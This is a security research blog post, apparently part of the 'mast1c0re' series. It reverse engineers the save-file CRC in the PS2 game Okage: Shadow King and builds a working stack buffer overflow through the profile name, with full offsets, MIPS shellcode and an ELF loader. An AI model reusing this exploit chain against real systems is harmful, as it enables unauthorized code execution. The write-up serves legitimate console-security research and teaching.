Introduction
In the previous post, we obtained a game save file and managed to import and export files from the PSU file format. In this post, we begin by editing the profile name, which requires calculating a cyclic redundancy check (CRC) value. We then develop a traditional stack buffer overflow exploit by overflowing the profile name within the save game file. Finally, we write a small amount of MIPS assembly code to load a PlayStation 2 ELF file into memory and then execute it.
Modifying the profile name
After exporting the save game files from BASCUS-97129.psu
using pypsu, I searched the exported files for the ASCII text “ABCdef” as that was the name I used when creating the profile. This string was found at offset 0x850
in bkmo0.dat
as shown below:
Next, I edited the profile name string from “ABCdef” to “BBCdef”, then saved the bkmo0.dat
file. After editing the profile name, the bkmo0.dat
file was imported into the BASCUS-97129.psu
using pypsu. Then the BASCUS-97129.psu
file was imported into the Mcd001.ps2
using mymcplus. However, when loading Okage: Shadow King, the game showed no save data existed.
To determine the problem, I created a new save game with the profile name “BBCdef”, and extracted the bkmo0.dat
file. I then performed a hex diff to see what data in the file was different in the two profile files.
As shown, the profile name has a different first letter as expected, however four other bytes have changed at offset 0x08
. You may have noticed the string “!crc
” at the start of the file which gives us an indication that the value at offset 0x08
is a CRC value.
Additionally, the four byte value at offset 0x04
is the hex number 0xD78
, and the total file size is 0xD84
, which gives us a difference of 0x0C
bytes. This gives us an indication that the first 0x0C
bytes appear to be a header containing the magic value “!crc
“, followed by the body length, followed by the CRC value.
Calculating the CRC value
To calculate the CRC value ourselves, we need to understand how the Okage: Shadow King game calculates it. To do this, we need to reverse engineer the game using an analysis tool such as Ghidra or IDA.
We begin by extracting the game files from the .iso
/.bin
file using an ISO extraction tool such as PowerISO:
I used the Ghidra plugin beardypig/ghidra-emotionengine with Ghidra version 9.2.2 to load the game binary SCUS_971.29
:
Next, I searched for strings such as “!crc
” and “crc
” however no results showed. I then searched for “bkmo
” and followed the reference to the “%s/bkmo%d.dat
” string in FUN_0012b508
:
... sprintf(&DAT_002597e0,"%s/bkmo%d.dat",0x2274c8); resetUnk1(0); _loadFile(&DAT_002597e0,1); lVar3 = _setGameSaveSizeWhenP1NotZero(1,&int32_t_002597d8); ...
After spending a small amount of time reversing, I determined that the _loadFile
(0x0016d748
) function seemed to be of interest:
void _loadFile(char *filename, undefined8 param_2) { _QueueParseGameSaveHeader(_parseGameSaveHeader, filename, param_2, 0, 0); return; }
The _QueueParseGameSaveHeader
(0x0016d4f8
) function takes a function pointer as the first argument and in this scenario it is the function _parseGameSaveHeader
(0x0016ccb8
). From reversing this function and the function calls within it, we can determine that it is reading the first eight bytes of the file and checking the magic value “!crc
” in function _isStringCRC
(0x0016cc10
):
int _parseGameSaveHeader(char *name, long param_2) { int ret; char buffer [4]; // Open memory card file int fd = MemoryCardOpen(name, 1); ... ret = MemoryCardSeek(fd, 0, 0); ... // Read first 8 bytes of bmko{i}.dat ret = MemoryCardRead(fd, buffer, 8); ... lVar2 = _isStringCRC(buffer); ... ret = MemoryCardClose(fd); ... return ret; }
bool _isStringCRC(char *str) { return str[0] == '!' && str[1] == 'c' && str[2] == 'r' && str[3] == 'c'; }
As this execution path did not perform the CRC calculation, I continued by checking all references to the _isStringCRC
(0x0016cc10
) function. This lead to a function I named _readMemCardCRCCheck
(0x0016cdb8
):
uint _readMemCardCRCCheck(char *filename, char *data, long param_3) { char buffer [4]; char fileCRCValue [4]; ... int fd = MemoryCardOpen(filename, 1); ... // Read "!crc" magic and body size uVar1 = MemoryCardRead(fd, buffer, 8); ... // Validate "!crc" magic lVar4 = _isStringCRC(buffer); ... // Read CRC value in bkmo{i}.dat uVar2 = MemoryCardRead(fd, fileCRCValue, 4); ... // Read file body uVar3 = MemoryCardRead(fd, data, bodyLength); ... // Calculate file body CRC value int crc = _calculateCRC(data, bodyLength); ... if (fileCRCValue != crc) goto closeAndRet; ... closeAndRet: ret = MemoryCardClose(fd); ... return ret; }
As shown in this function, the “!crc
” magic value is validated, then the file CRC value is read and finally the body CRC value is calculated in the _calculateCRC
(0x0016d838
) function which can be seen below.
uint _calculateCRC(byte *buffer, int size) { if (gCRCTableInitialized == 0) { // Initialize CRC table values gCRCTableInitialized = 1; for (uint i = 0; i < 0xff; i++) { uint value = i << 8; for (uint j = 0; j < 8; j++) { if (value & 0x8000 == 0) value = value << 1; else value = value << 1 & 0x1021; } gCRCTable[i] = (int16_t)value; } } // Calculate CRC crc = 0xffff; for (uint i = 0; i < size; i++) crc = crc << 8 ^ (uint)(ushort)gCRCTable[(buffer[i] ^ crc >> 8) & 0xff]; return ~crc; }
As we can see from this function, the first time a CRC value is calculated, the CRC table is initialized with 255 bytes. Various bit manipulation operations are then performed on each byte in the input buffer to calculate the CRC value.
This function can be re-wrote in Python as demonstrated below:
import ctypes class CRC: """Python implementation of Okage: Shadow King's calculateCRC game save functionality. uint32_t calculateCRC(byte* buffer, int size) = 0x0016d838 int gCRCTableInitialized = 0x001fde8c int16_t gCRCTable[256] = 0x002e27e8 """ TABLE_INITIALIZED = False TABLE = [] @staticmethod def initialize(): """Initializes the CRC table with 255 bytes. """ CRC.TABLE_INITIALIZED = True for i in range(0, 255): value = ctypes.c_uint32(i) value.value <<= 8 for j in range(0, 8): if value.value & 0x8000 == 0: value.value <<= 1 else: value.value <<= 1 value.value ^= 0x1021 CRC.TABLE.append(ctypes.c_uint16(value.value)) CRC.TABLE.append(ctypes.c_uint16(0)) @staticmethod def calculate(data): """Calculates the CRC (Cyclic Redundancy Check) value of the given data. Args: data (bytes): The input data bytes to calculate the CRC value from. Returns: int: The unsigned 32-bit integer CRC value. """ if not CRC.TABLE_INITIALIZED: CRC.initialize() # Calculate checksum checksum = ctypes.c_uint32(0xFFFF) for i in range(0, len(data)): checksumShift = ctypes.c_uint32(checksum.value >> 8) preindex = ctypes.c_uint32( ctypes.c_uint32(data[i]).value ^ checksumShift.value ) index = ctypes.c_uint32(preindex.value & 0xff) checksum.value <<= 8 checksum.value ^= ctypes.c_uint32( CRC.TABLE[index.value].value ).value checksum.value = ~checksum.value return checksum.value
Controlling the program counter register
We are now in a position where we can modify the profile name to an arbitrary value, and update the CRC value to a valid number that Okage: Shadow King will accept. If the bkmo0.dat
file size changes, the length value in the header must also match the body length.
To find the vulnerable code within Okage: Shadow King, I started by looking for strings which matched the load game save screen such as “Name”. The only reference to the “\f[2]Name",81h,"F%s
” string is a function I have named _displayGameSaveGUI
(0x0011b800
).
void _displayGameSaveGUI(int param_1) { // Buffer size of 256 char buffer [256]; // Location buffer overflow sprintf(buffer,"\\f[2]\\s[0.9,1.0]%s", gGameSave->location); _printBufferToScreen(0, 8, param_1 + 0x6b, buffer); ... // Name buffer overflow sprintf(buffer, "\f[2]Name\x81""F%s", gGameSave->name); _printBufferToScreen(0, 8, param_1 * 0x16 + 0x14, buffer); ... return; }
As shown, both the location and name overflow the buffer
variable when they exceed 256 characters due to the usage of the sprintf
function. As this is a string copying function, and strings are terminated by a trailing NULL
(0x0
), we cannot overwrite stack data with a NULL
byte from our input buffer. The only exception to this is if the very last byte we need to overwrite is a NULL
byte as that will be our terminating string NULL
byte.
To trigger a crash we can set the profile name to 400 ‘A’ characters in the bkmo0.dat
file. By placing an execute breakpoint on address 0x0011bdc0
in the PCSX2 debugger, which is the last instruction in the _displayGameSaveGUI
(0x0011b800
) function, then pressing “RESTORE GAME” in Okage: Shadow King, we can see various MIPS registers including ra
(return address) and fp
(frame pointer) are overwritten with 41414141 41414141
. For reference, the hex value 0x41 is the “A” character in ASCII.
The reason many of the registers contain data from the profile name is due to the overflow overwriting data on the stack, followed by various instructions storing the stack values into registers. For example, the instruction ld ra, 0x200(sp)
loads data from the stack at offset 0x200
into the ra
(return address) register.
If we hit “Step Into” in the debugger after hitting the breakpoint, PCSX2 will crash as the pc
(program counter) register will be set to 41414141 41414141
from the ra
(return address) register, which is an invalid address.
The next step is to determine the offset of the ra
(return address) register in our input buffer of A’s. We can use the msf-pattern_create tool to generate a unique pattern as our input buffer:
└─$ msf-pattern_create -l 400 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
Using that pattern in the profile name sets the registers to the following values:
We can use the msf-pattern_offset tool to find the offset within the input buffer where we overwrite the ra
(return address) register by passing the input length, and the register hex value (0x306e4139
= 9An0
).
└─$ msf-pattern_offset -l 400 -q 306e4139 [*] Exact match at offset 389
We can now control the pc
(program counter) register by sending 389 A’s followed by a 4 byte address.
name = b'A' * 389 name += struct.pack('<I', 0x11223344)
Executing assembly instructions
The PlayStation 2 does not have the buffer overflow protections that are common place today such as address space layout randomization (ASLR), stack canaries or NX bit. Therefore, we can set the pc
register directly to our input buffer located on the stack. Currently we are still not able to write NULL
bytes due to the string copy therefore all 64-bit MIPS instructions must not contain a NULL
byte.
In 64-bit MIPS, the NOP
instruction is the hex sequence 00 00 00 00
, which we cannot use. Instead, we can use a different instruction which operates the same as a NOP
instruction such as move $sp, $sp
. This instruction moves the sp
(stack pointer) register to itself. Importantly though, the instruction hex sequence is 25 e8 a0 03
which contains no NULL
bytes.
The Online Assembler and Disassembler by Shell Storm is a useful resource for quickly assembling MIPS instructions such as move $sp, $sp.
Using the following name will set the pc
register to 0x11223344
and the stack will contain 30 “move $sp, $sp
” instructions after this value.
name = b'A' * 389 name += struct.pack('<I', 0x11223344) for i in range(30): # move $sp, $sp name += b'\x25\xe8\xa0\x03'
In order to execute our arbitrary shellcode on the stack, we need to determine the stack address that the ra
(return address) will point to. We can do this by placing a breakpoint after the sprintf
buffer overflow occurs at address 0x0011b99c
in the _displayGameSaveGUI
(0x0011b800
) function, and then viewing the sp
(stack pointer) register.
As shown in the following image, we can see that the sp
(stack pointer) register value is 0x01ffe7b0
and the beginning of our controllable profile name data starts at address 0x01ffe82b
. The ra
(return address) is located at address 0x01ffe9b0
and contains the value 0x11223344
as expected. Finally, the 30 “move $sp, $sp
” instructions follow the ra
(return address) at address 0x01ffe9b4
. Therefore, we want to set our ra
(return address) value to be 0x01ffe9b4
to execute the shellcode on the stack we control.
We can use the following profile profile name to execute the nop
instructions in our shellcode:
name = b'A' * 389 name += struct.pack('<I', 0x1ffe9b4) for i in range(30): # move $sp, $sp name += b'\x25\xe8\xa0\x03'
This can be verified with the debugger by placing a breakpoint at the end of the _displayGameSaveGUI
(0x0011b800
) function before the game jumps to the ra (return address)
register at address 0x0011bdc0
. Stepping through the instructions with the “Step Into” button, we can see each nop
being executed on the stack. It is also worth mentioning that the debugger shows the instruction as or, sp, zero
which is identical to move $sp, $sp
.
We can now execute instructions that do not contain a NULL
byte which will be called our stage 1 payload. Our next goal is to find the original bkmo0.dat
file contents in heap memory, and jump to the instructions following our stage 1 payload which will allow NULL
bytes as the original save file data is not copied by a string function.
The gGameSave
(0x0024EE04
) global variable previously identified in the _displayGameSaveGUI
(0x0011b800
) function contains a pointer to the bkmo0.dat
file contents. We cannot directly set the value of the $t1
register to gGameSave
(0x0024EE04
) as it contains a NULL
byte. Instead, we can set it to the value 0x02020202
, then minus 0x01DD13FE
to result in 0x0024EE04
. We can then load the 4 byte pointer address from 0x0024EE04
into the $t1
register so that it points to the start of the bkmo0.dat
body.
# t0 = 0x02020202 (avoiding null byte) lui $t0, 0x202 ori $t0, $t0, 0x202 # Dereference GameSave Pointer (0x02020202-0x01DD13FE = 0x0024EE04) lw $t1, -0x01DD13FE ($t0)
Next, we increment the game save address in $t1
by the fixed offset of 0xA28
to skip over data including the name, location and stage 1 payload.
# Increment GameSave offset addi $t1, $t1, 0xA28
We then perform a jump and link (jal
) instruction to call the stage 2 shellcode which will be placed at offset 0xA28
. The jal
instruction requires a nop
instruction after it, however due to NULL
byte restrictions, move $sp, $sp
is used.
# Jump to $t1 (Stage 2) jal $t1 move $sp, $sp # (Non-NULL NOP)
Once we have executed the stage 2 shellcode, we need to restore the original value of the ra
(return address) register, then continue execution to the original pc
(program counter) register to avoid the game crashing.
# Jump back to original $ra (continue execution) li $ra, 0x111EF8C li $at, -0x10010B0 add $ra, $ra, $at # $ra = 0x11DEDC j 0x11DEDC nop
The full stage 1 assembly script is provided below:
.set noat .set noreorder .section .text # Stage 1 # * Dereferences game save pointer # * Jumps to stage 2 inside game save # * Continues Okage code execution by jumping back to 0x11DEDC # * Must not contain any NULL bytes (except after the final jump) .global _start _start: # t0 = 0x02020202 (avoiding null byte) lui $t0, 0x202 ori $t0, $t0, 0x202 # Dereference GameSave Pointer (0x02020202-0x01DD13FE = 0x0024EE04) lw $t1, -0x01DD13FE ($t0) # Increment GameSave offset addi $t1, $t1, 0xA28 # Jump to $t1 (Stage 2) jal $t1 move $sp, $sp # (Non-NULL NOP) # Jump back to original $ra (continue execution) li $ra, 0x111EF8C li $at, -0x10010B0 add $ra, $ra, $at # $ra = 0x11DEDC j 0x11DEDC nop
This assembly file was compiled with the ps2/ps2sdk mips64r5900el-ps2-elf-gcc
binary which generates an ELF file. However, we currently only want the direct .text
instructions section therefore we use the mips64r5900el-ps2-elf-objcopy
binary to extract that section.
mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \ -ffreestanding -Wl,-z,max-page-size=0x1 \ -c stage1.S -o stage1.elf mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \ -O binary --only-section .text stage1.elf stage1.bin
The contents of stage1.bin
can then be placed after the ra
(return address) within the profile name.
Restoring corruption
We now have the ability to write shellcode with NULL
byte instructions which we will call stage 2 shellcode. The next step of the process is to restore any corruption we produced from the stack overflow by setting the value of the callee-saved registers to their original value. Additionally, we need to restore the fp
(frame pointer) and sp
(stack pointer) registers to their original value. The original values can be seen in the debugger by adding a breakpoint on the jr $ra
(0x0011bdc0
) instruction at the end of _displayGameSaveGUI
(0x0011b800
) with a default bkmo0.dat
file. The following table shows the original values of these registers:
Register | Value |
---|---|
fp (frame pointer) | 0x00210000 |
sp (stack pointer) | 0x01FFE9C0 |
s0 (saved 0) | 0x00250000 |
s1 (saved 1) | 0x0024EEA4 |
s2 (saved 2) | 0x00250000 |
s3 (saved 3) | 0x00250000 |
s4 (saved 4) | 0x0024EE98 |
s5 (saved 5) | 0x00250000 |
s6 (saved 6) | 0x00250000 |
s7 (saved 7) | 0x00250000 |
The MIPS x64 assembly to restore these register values is as shown:
.section .text .global _start _start: # Fix corrupted callee-saved registers li $fp, 0x00210000 li $s0, 0x00250000 li $s1, 0x0024EEA4 li $s2, 0x00250000 li $s3, 0x00250000 li $s4, 0x0024EE98 li $s5, 0x00250000 li $s6, 0x00250000 li $s7, 0x00250000 li $sp, 0x01FFE9C0
Executing a file
Previously we reverse engineered various functions within Okage: Shadow King to discover the CRC calculation functionality. A few of those functions were malloc
(0x001bda38
), free
(0x001f131c
), MemoryCardOpen
(0x0016c778
), MemoryCardRead
(0x0016c8b0
) and MemoryCardClose
(0x0016c7f0
). As previously seen, these functions are responsible for opening a file within the PSU file previously detailed, reading the file contents and then closing the file handle. We can therefore insert an arbitrary file within the PSU file, and then load it into memory using these functions within our stage 2 shellcode.
To do this, we need to write the following C code in MIPS 64-bit assembly:
void _start() { uint32_t size = 0; // Open file int fd = MemoryCardOpen("BASCUS-97129/shellcode.bin", 1); // Read the file size from the first 4 bytes MemoryCardRead(fd, &size, 4); // Allocate a buffer in memory for the file size void* buffer = malloc(size); // Read the data from the file into memory MemoryCardRead(fd, buffer, size); // Close the memory card MemoryCardClose(fd); // Call shellcode ((void(*)())buffer)(); // Free the allocated buffer free(buffer); // Return to stage 1 return; }
For this functionality, we require the global data string “BASCUS-97129/shellcode.bin
” which is referenced in the MemoryCardOpen
(0x0016c778
) function call. We can define this in the assembly file as shown:
.data .global filename filename: .asciiz "BASCUS-97129/shellcode.bin\x00\x00\x00"
However, the compilation process we did for stage1.S
would ignore the .data
section as we only copied the .text
section. Instead, we can use the following commands to append the .text
section after the .data
section in the binary output file.
mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \ -ffreestanding -Wl,-z,max-page-size=0x1 \ -c stage2.S -o stage2.elf mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \ -O binary --only-section .text stage2.elf stage2.text mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \ -O binary --only-section .text stage2.elf stage2.data cat stage2.data > stage2.bin cat stage2.text >> stage2.bin
We can then create a simple C program, compile it, extract the .text
section, then import it into the PSU file as “shellcode.bin
“.
void _start() { int a = 1 + 2; }
mips64r5900el-ps2-elf-gcc -nostartfiles -nostdlib -nodefaultlibs \ -ffreestanding -Wl,-z,max-page-size=0x1 \ shellcode.c -o shellcode.elf mips64r5900el-ps2-elf-objcopy -Wl,-z,max-page-size=0x1 \ -O binary --only-section .text shellcode.elf shellcode.bin
name = b'A' * 389 name += struct.pack('<I', 0x1ffe9b4) name += stage1 name += stage2 ... # Append shellcode.bin to PSU with open('shellcode.bin', 'rb') as f: shellcode = f.read() psu.write('shellcode.bin', struct.pack('<I', len(shellcode)) + shellcode) psu.save()
PS2 ELF executable
We are now able to insert a shellcode.bin
file containing the .text
segment of a PS2 ELF file and have it execute, then gracefully restore game execution using our stage 1 and stage 2 shellcode payloads. However, we are restricted from utilising many aspects of normal C/C++ programming such as global variables, as other ELF sections such as .data
are not loaded into memory. To solve this, we can modify our stage 2 shellcode to parse the PS2 ELF executable file format and load the necessary sections into memory.
To begin with, we need to understand the ELF file format which is described in detail at Executable and Linkable Format. For loading the ELF file into memory, the important part of the file is the Program Header table which states the address the data should be stored at, the length of the data and the data itself.
To load the ELF file sections into memory and then call the entry function, we need to write the following C code in MIPS 64-bit assembly:
#define ELF_ENTRY_OFFSET 0x18 #define ELF_PROGRAM_HEADER_OFFSET_OFFSET 0x1C #define ELF_PROGRAM_HEADER_SIZE_OFFSET 0x2A #define ELF_PROGRAM_HEADER_COUNT_OFFSET 0x2C #define PROGRAM_HEADER_SECTION_OFFSET_OFFSET 0x04 #define PROGRAM_HEADER_SECTION_DESTINATION_OFFSET 0x08 #define PROGRAM_HEADER_SECTION_SIZE_OFFSET 0x10 void _start() { // Open the ELF file from the memory card int fd = MemoryCardOpen("BASCUS-97129/program.elf", 1); // Read the program.elf file size int size = 0; MemoryCardRead(fd, &size, 4); // Allocate space on the heap for the ELF file uint8_t* elf = malloc(size); // Read the ELF file into heap memory MemoryCardRead(fd, elf, size); // Close the memory card file MemoryCardClose(fd); // Parse ELF Header uint8_t* programHeaders = elf + *(uint32_t*)(elf + ELF_PROGRAM_HEADER_OFFSET_OFFSET); uint16_t programHeaderSize = *(uint16_t*)(elf + ELF_PROGRAM_HEADER_SIZE_OFFSET); uint16_t programHeaderCount = *(uint16_t*)(elf + ELF_PROGRAM_HEADER_COUNT_OFFSET); // Parse Program Headers for (int i = 0; i < programHeaderCount; i++) { uint8_t* programHeader = programHeaders + (i * programHeaderSize); uint32_t sectionOffset = *(uint32_t*)( programHeader + PROGRAM_HEADER_SECTION_OFFSET_OFFSET ); // Ignore invalid sections if (sectionOffset == 0) continue; uint32_t sectionDestination = *(uint32_t*)( programHeader + PROGRAM_HEADER_SECTION_DESTINATION_OFFSET ); uint32_t sectionSize = *(uint32_t*)( programHeader + PROGRAM_HEADER_SECTION_SIZE_OFFSET ); uint8_t* sectionSource = elf + sectionOffset; // Copy section from ELF section to given destination address memcpy(sectionDestination, sectionSource, sectionSize); } // Call entry uint32_t entry = *(uint32_t*)(elf + ELF_ENTRY_OFFSET); ((void(*)())entry)(); // Free ELF buffer free(elf); }
The final stage 2 shellcode to load the ELF into memory from the program.elf
file within the PSU file, and to call the entry pointer can be seen below:
# Stage 2 # * Restore corrupted callee-saved registers # * Read program.elf from memory card # * Load ELF into memory # * Execute entry # * Return to stage 1 # * NULL bytes allowed # Shellcode Variables .data .global filename filename: .asciiz "BASCUS-97129/program.elf\x00\x00\x00" .section .text .global _start _start: # Fix corrupted callee-saved registers li $fp, 0x00210000 li $s0, 0x00250000 li $s1, 0x0024EEA4 li $s2, 0x00250000 li $s3, 0x00250000 li $s4, 0x0024EE98 li $s5, 0x00250000 li $s6, 0x00250000 li $s7, 0x00250000 li $sp, 0x01FFE9C0 # Local stack variables # 0x00 - void* gameSave # 0x04 - int fd # 0x08 - void* elf # 0x0C - int size # 0x10 - void* programHeaders # 0x14 - int programHeaderSize # 0x18 - int programHeaderCount # 0x1C - int i # 0x20 - $ra # 0x24 - $fp # Function setup addiu $sp, $sp, -0x28 sw $ra, 0x20($sp) sw $fp, 0x24($sp) move $fp, $sp # Variable initialization sw $zero, 0x00($sp) sw $zero, 0x04($sp) sw $zero, 0x08($sp) sw $zero, 0x0c($sp) sw $zero, 0x10($sp) sw $zero, 0x14($sp) sw $zero, 0x18($sp) sw $zero, 0x1c($sp) # Store game save location in gameSave lw $t0, 0x0024EE04 # t0 = *gGameSave sw $t0, 0x00($sp) # gameSave = t0 = *gGameSave # int fd = MemoryCardOpen("program.elf", 1) lw $a0, 0x00($sp) # a0 = *gGameSave addi $a0, 0xA0C # a0 = *gGameSave + 0xA0C = filename li $a1, 1 # a1 = 1 jal MemoryCardOpen # int fd = MemoryCardOpen("BASCUS-97129/program.elf", 1) sw $v0, 0x04($sp) # fd = v0 # MemoryCardRead(fd, &size, 4) lw $a0, 0x04($sp) # a0 = fd move $a1, $sp addi $a1, 0x0C # a1 = &size li $a2, 4 # a2 = 4 jal MemoryCardRead # MemoryCardRead(fd, &size, 4) # elf = malloc(size); lw $a0, 0x0C($sp) # a0 = size jal malloc # char* elf = malloc(size); sw $v0, 0x08($sp) # elf = v0 # MemoryCardRead(fd, elf, size) lw $a0, 0x04($sp) # a0 = fd lw $a1, 0x08($sp) # a1 = elf lw $a2, 0x0C($sp) # a2 = size jal MemoryCardRead # MemoryCardRead(fd, elf, size) # MemoryCardClose(fd) lw $a0, 0x04($sp) # a0 = fd jal MemoryCardClose # MemoryCardClose(fd) # Load ELF into memory lw $t0, 0x08($sp) # t0 = elf # Program header table lw $t1, 0x1C($t0) # t1 = *(uint32_t*)(elf + 0x1C) = programHeaderOffset add $t1, $t0 # t1 = elf + programHeaderOffset sw $t1, 0x10($sp) # programHeaders = t1 # Program header size lh $t1, 0x2A($t0) # t1 = *(uint16_t*)(elf + 0x2A) = programHeaderSize sw $t1, 0x14($sp) # programHeaderSize = t1 # Program header count lh $t1, 0x2C($t0) # t1 = *(uint16_t*)(elf + 0x2C) = programHeaderCount sw $t1, 0x18($sp) # programHeaderCount = t1 # Load each entry loadLoop: # Get i'th program header lw $t1, 0x10($sp) # t1 = programHeaders lw $t2, 0x1c($sp) # t2 = i lw $t3, 0x14($sp) # t3 = programHeaderSize mul $t2, $t3 # t2 = i * programHeaderSize add $t2, $t1 # t2 = programHeaders + # (i * programHeaderSize) = programHeader # memcpy(sectionDestination, sectionSource, sectionSize) lw $a0, 0x08($t2) # a0 = *(uint32_t*)(programHeader + 0x08) # = sectionDestination lw $a1, 0x04($t2) # a1 = *(uint32_t*)(programHeader + 0x04) # = sectionOffset beq $a1, 0, loopContinue # if (sectionOffset != 0) add $a1, $t0, $a1 # a1 = elf + sectionOffset lw $a2, 0x10($t2) # a2 = *(uint32_t*)(programHeader + 0x10) # = sectionSize jal memcpy # memcpy(sectionDestination, # sectionSource, sectionSize # ) loopContinue: # i++ lw $t1, 0x1c($sp) # t1 = i addi $t1, 1 # t1++ sw $t1, 0x1c($sp) # i = t1 # i < programHeaderCount lw $t2, 0x18($sp) # t2 = programHeaderCount blt $t1, $t2, loadLoop # Set gp to _gp li $gp, GP # Call entry lw $t0, 0x08($sp) # t0 = elf lw $t1, 0x18($t0) # t1 = *(uint32_t*)(elf + 0x18) = entry jalr $t1 # entry() # Free elf lw $a0, 0x08($sp) # a0 = elf jal free # free(elf); # Restore gp li $gp, 0 # Function teardown move $sp, $fp lw $ra, 0x20($sp) lw $fp, 0x24($sp) addiu $sp, $sp, 0x28 # Return to stage 1 jr $ra
Conclusion
So far we have figured out how to modify a PS2 memory card file to import custom files, modify existing files, calculate the CRC value and develop an exploit to gain arbitrary code execution within the PS2 environment. Using this exploit we can write a custom C program, compile it to an ELF file and then load it into memory and call the entry point.
If we refer back to the original reference blog post “mast1c0re: Hacking the PS4 / PS5 through the PS2 Emulator – Part 1 – Escape“, we can now say that we have completed the following statement in the blog: “For my chain, I settled on Okage Shadow King, which has a typical stack buffer overflow if you extend the player/town name.”
The complete Python project to automate the modification of a game save file to embed and execute a PlayStation 2 ELF can be found at McCaulay/okrager.
In the next blog post “mast1c0re: Part 3 – Escaping the emulator“, we further develop the existing exploit and specifically target the PlayStation 4 and PlayStation 5 emulator to target an out-of-bounds write vulnerability which leads to return-oriented programming code execution.